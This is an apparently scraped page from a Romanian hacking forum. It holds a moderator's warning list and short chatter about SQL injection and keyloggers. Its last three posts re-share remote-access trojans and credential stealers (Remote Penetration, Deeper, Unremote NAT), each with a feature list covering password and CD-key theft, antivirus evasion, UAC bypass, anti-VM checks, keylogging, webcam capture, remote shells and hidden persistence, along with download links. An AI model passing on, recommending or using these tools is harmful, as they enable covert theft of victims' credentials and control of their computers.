& abel - a dat gres" Motiv : Post dublu. User : Zatarra Nr. warn : 2 Topic : http://rstcenter.com/forum/18165-erori-vulnerabilitati-etc.rst Post : "Tare rau asta =))" Motiv : Offtopic. User : Drace Nr. warn : 1 Topic : http://rstcenter.com/forum/stuff-tools/6245-droguri-care-se-i-au-prin-ultrasunete-5.html Post : "imi bag p" Motiv : Limbaj inadecvat. User : Fitty Nr. warn : 3 ( Ban ) Topic : http://rstcenter.com/forum/18259-psihoteste-online.rst Post : "Credeam ca ai postat niste teste, nu tot XSS... " Motiv : Offtopic. User : Ne0h Nr. warn : 1 Motiv : Reclama la semnatura. User : Ne0h Nr. warn : 2 Topic : http://rstcenter.com/forum/18294-politia-romana.rst Post : "Nu vrei sa iti zic si cand m-am nascut?" Motiv : Offtopic. User : Ne0h Nr. warn : 2 Topic : http://rstcenter.com/forum/18294-politia-romana.rst Post : "Nu vrei sa iti zic si cand m-am nascut?" Motiv : Offtopic. User : black_death_c4t Nr. warn : 4 ( Ban ) Topic : http://rstcenter.com/forum/18295-talesofmagic-computergames-ro.rst Post : "Ce trist suna , stii cum ? " Motiv : Offtopic. User : RoMeO Nr. warn : 2 Topic : http://rstcenter.com/forum/18301-sympleboy22.rst Post : "omg, ai trait in jungla pana sa apara HB?" Motiv : Offtopic. User : SympleBoy22 Nr. warn : 4 ( Ban ) Topic : http://rstcenter.com/forum/18301-sympleboy22.rst Post : "Ioinel nu se scrie Ionel?" Motiv : Offtopic. User : dRuNNNkz0r Nr. warn : 1 Topic : http://rstcenter.com/forum/18294-politia-romana.rst Post : "ce treaba ai tu daca a folosit soft? " Motiv : Offtopic. User : vini4p Nr. warn : 1 Topic : http://rstcenter.com/forum/18294-politia-romana.rst Post : "TinKode stieee ;" Motiv : Offtopic. User : m350 Nr. warn : 1 Topic : http://rstcenter.com/forum/18312-ntldr-missing.rst Post : "multumesc virusz " Motiv : Post dublu. User : DeDu Nr. warn : 1 Topic : http://rstcenter.com/forum/18333-website-photoshop.rst Post : "nime nimic sau ati plecat la artificii " Motiv : Post dublu.

Vesnica mea intrebare adresata expertilor in SQL Injection: "Ce face acel ALL?" Daca nu sti, macar nu te mai lauda ca sti SQL Injection. Hai, treci pe Google, citeste ce e ALL-ul ala si date mare ca sti. Nu stiu de ce am o banuiala ca nu o sa stie mai nimeni, pentru ca nimeni nu invata practic MySQL, toti citesc doua tutoriale prost scrise si mai deloc explicate, in care, ca si in acest tutorial banuiesc scrie: "Pai plm, puneti la URL 'union all select' si va apare aia". Dar nu spune nici unde cum se modifica query-ul, cum arata el la inceput si ce se intampla practic. PS: Nu am citit tutorialul, dar nici nu cred ca o sa il citesc, am o banuiala ca nu o sa imi placa. Insa sincere felicitari, macar se mai ocupa cineva de ceva, mai scrie cate ceva. Mai toti doar intra pe forumuri, si se opresc la topicurile stupide, nimeni nu mai invata nimic dar toti sunt 1337 si nu ii poate contesta nimeni.

Hmm, nu cred ca e vreo problema. PE Bundle cred ca se foloseste pentru DLL-uri, ca sa nu primiti acele mesaje de eroare la rulare: "lalala.ocx sau lalala.dll not found". Deci nu cred ca e infectat.

Florin Salam - Sunt motor cu reactor

Voi va luati dupa puskin? PS: 04-20-2008

Din partea mea, a facut un lucru bun. Eu mi-am scanat singur Digital Keylogger, la putin timp dupa publicare. Consider folosirea acestor programe furt informational si nu sunt de acord cu ele.

madalin94: "Deci" ban. demon_zone: Nu am de ce sa iti dau ban, dar imi pare bine ca am bagat frica in voi.

Ieri mergea linkul, poate e de la serverul opensc, poate isi revine. Oricum, acolo e sursa de la care a fost inceput acest RAT.

TinKode, SympleBoy22, sa nu va mai certati, v-am schimbat eu semnaturile la amandoi. Dieliric: Bine ai venit.

Nu l-am incercat, nu stiu daca este infectat, il testati pe riscul vostru. Remote Penetration v2.2 FIX (Released: 19/8/2009) New Features: * All PHP problems have been fixed + a new theme has been implemented! * Updated Firefox Recovery * Added Internet Download Manager Recovery * Added Yahoo Messenger 8.x,9.x Recovery * Builders dark theme removed Recovery: * Trillian * Pidgin and Gaim * PaltalkScene * Digsby * Live Messenger * MSN Messenger * Yahoo Messenger 8.x,9.x (NEW) * AIM 6.xx (Private Version only) * Miranda (Private Version only) * Google Talk (Private Version only) * Firefox 2.xx - 3.xx (Updated) * IE6 * IE7 - 8 * Internet Download Manager (NEW) * Filezilla * Smart FTP * FlashFXP * CoreFTP * NO-IP * DynDNS * Outlook * CamFrog * Custom CD-Key Grabber (Input own path to key you want to grab) Icon Options: * Replace Default Icon: * Icon Hunter Main Features: * Stub / Builder made in VB6 * FUD Scantime + Runtime * All strings are encrypted, all your inputted data, (PHP url) is encrypted, and all API's that can be encrypted/called dynamically are encrypted. * No 3rd party applications used * UAC Bypass * Send info via PHP (MySQL setup)(NEW) * Output.exe requires NO dependencies. (Builder does though) * Ability to import FUD stubs * Anti-Generic Sandbox * Anti-Virtual PC, VMWare, VirtualBox * Installation options (You get the option to pick where the file drops to / where in the registry to add the startup key.) * Pick the dropped files attributes (Hidden, Read only, or System) * Option to compress with UPX * Scramble the UPX header * Added File Version Info Cloner * Fake error message * Change the Date of the outputted executable's date * Increase the files size (Add NOP bytes to the file) * Load and Save your sessions! Private Version * All of the listed features above + a unique stub that no one else has. * AIM 6.xx recovery * Miranda recovery * Google Talk recovery * Melt * Option on builder to delete, output.exe, icon. (save kbs) * No set number of CD-Key Paths (You can add as many keys as you want grabbed) PHP Login/Logs Screenshot: Download: Removed

Nu l-am incercat, nu stiu daca e infectat, il testati pe riscul vostru. Deeper 1.0 Beta5 Compiled at October 20, 2009 Dedicated To Lanny Barbie! binaryEvil Hack Hound Coded in Egypt by binaryEvil MailTo:binaryEvil@hotmail.com [screenshots] [Features] * Main: [-] DB Memory execution [-] Encrypted connection [-] All traffics are through one port [-] Multithreaded [-] User filtration [-] Broadcasting [-] Sound events * Spy: [-] Information [-] Unicode Key Logger -> OFF Keys [-] CAM Capture [-] Screen Capture [-] Clipboard Monitor [-] Password Recovery * Manage: [-] Process Manager [-] Service Manager -> Install Service -> Edit Service [-] Window Manager [-] File Manager -> File Search -> Multiple File Transfer [-] Registry Manager -> Registry Search * Tools: [-] Shell Execute [-] CMD Shell [-] Multiple Downloader [-] Power Manager [] Please report any bugs in the HackHound official support forum. Your bug reports are vital for making Deeper a robust and capable application. It is an important goal that each Deeper release be stable, crash-free, and behave itself well. "Many Eyes Make Bugs Shallow" Download: http://www.speedyshare.com/438836864.html

Nu l-am incercat, nu stiu daca este infectat, il folositi pe riscul vostru. Autor: DarkCoderSc: "Hello HH Coders and Members, i present you my Last RAT called Unremote NAT Aka SynRAT 5.0 , i will try my best to explain it in english it is a full RAT multi server ( you can control unlimited server in same time ) but not yet multi transfer files ( i will do it soon using the full Socket API to use the last socket possibility and multi thread the transfer ) that mean you need to download file 1 by 1 i put several security to prevent bug if you try to do many thing in same time but somtimes it dont work then read this carefully dont try to make several things in same time with the Sockets in the last update the only multi thread thing is the FTP Uploader . I think its the most complete RAT actualy the only bad point are the size of the Server ( tempory like i said i will totaly recode it using API for socket etc ) and that he is pure coded with ScktComp.pas then to use Multitransfer it still very buggy :s. This version publish are the old version of Unremote NAT dont forget to run the update to have the latest version ! if you have bugs dont forget to notice me in the correct threads then i will try my best to help you and fix all bugs you found . dont esit for the sugestion ! Actualy for the last update i am coding a full MSN controler i think the most complete and best control one all status blocked/online/busy/blockedOnline etc are checked and display correctly in each contact display , you will be able to block/add/remove contacts , to saw several information about the current connected MSN change status and saw personnal info . Just wait the futur updates . /!\ Thing you absolutly need to know about unremote nat is that for updates i use an automatic updater who try to connect to my web-sites ( Unrem0te or SynSecurity V 5.0 ) then dont worry if your firewall ask to open the 80 ( http ) port to autorise this connection for checking and downloading updates for more information contact me . Last thing about updates when you will download this version in HackHound.org you will get a totaly buggy version you need to update it in update manager to get the latest available version . ------------------- Author : DarkCoderSc From : France E-Mail : DarkCoderSc@unremote.org For More info about me check in the About ! ------- Client Coded in Delphi using CodeGear 2009 RAD and some inline Batch command . Server Coded in Delphi/ASM using CodeGear 2009 RAD and using some Inline batch and PHP for trace route ( for example ) ------- Heres some screeny and the download i will post the opensc screens you will see the beta 1 / beta 2 / last beta and this release screens then you will see some changes enter screens some times ( cause some are old but then you can see 90% of the whole RAT ) This RAT is powered for Windows Vista ( using some cool API specialy for vista and seven ( just few yet ) ) Working and tested on Windows 2000 , XP SP1/SP2/SP3 , Vista and Seven ! Tested and work perfectly ( server and client ) on Linux using Wine emulator no bug all working well . Test and work good on MAC OS ( the server doesnt work ) but the client work pretty well ! ( on the last MAC OS ). Anyway have fun and respect the chart about this RAT i am French in france law isnt the same of your contrys then it is publish as a legal program for education prupose and to to control your LAN network or help as team viewer your frends arroung the world its why you have a form in the server part then i am sure you will not Hack anybody =) [i know it already exists a patch to crack this security use it as your own risk and i will not be responsable of the damage you will cause!] This is only 20% of the ability of this RAT for more screens type in google Unremote NAT and browse in the google image you will see all screens about this rat theese are them the latest sreens Last thing Unremote NAT last udpate have a FTP Client in it for FTP File upload you can do several things in it , it is beta and work in Unix and Linux servers " Download: http://www.speedyshare.com/457827391.html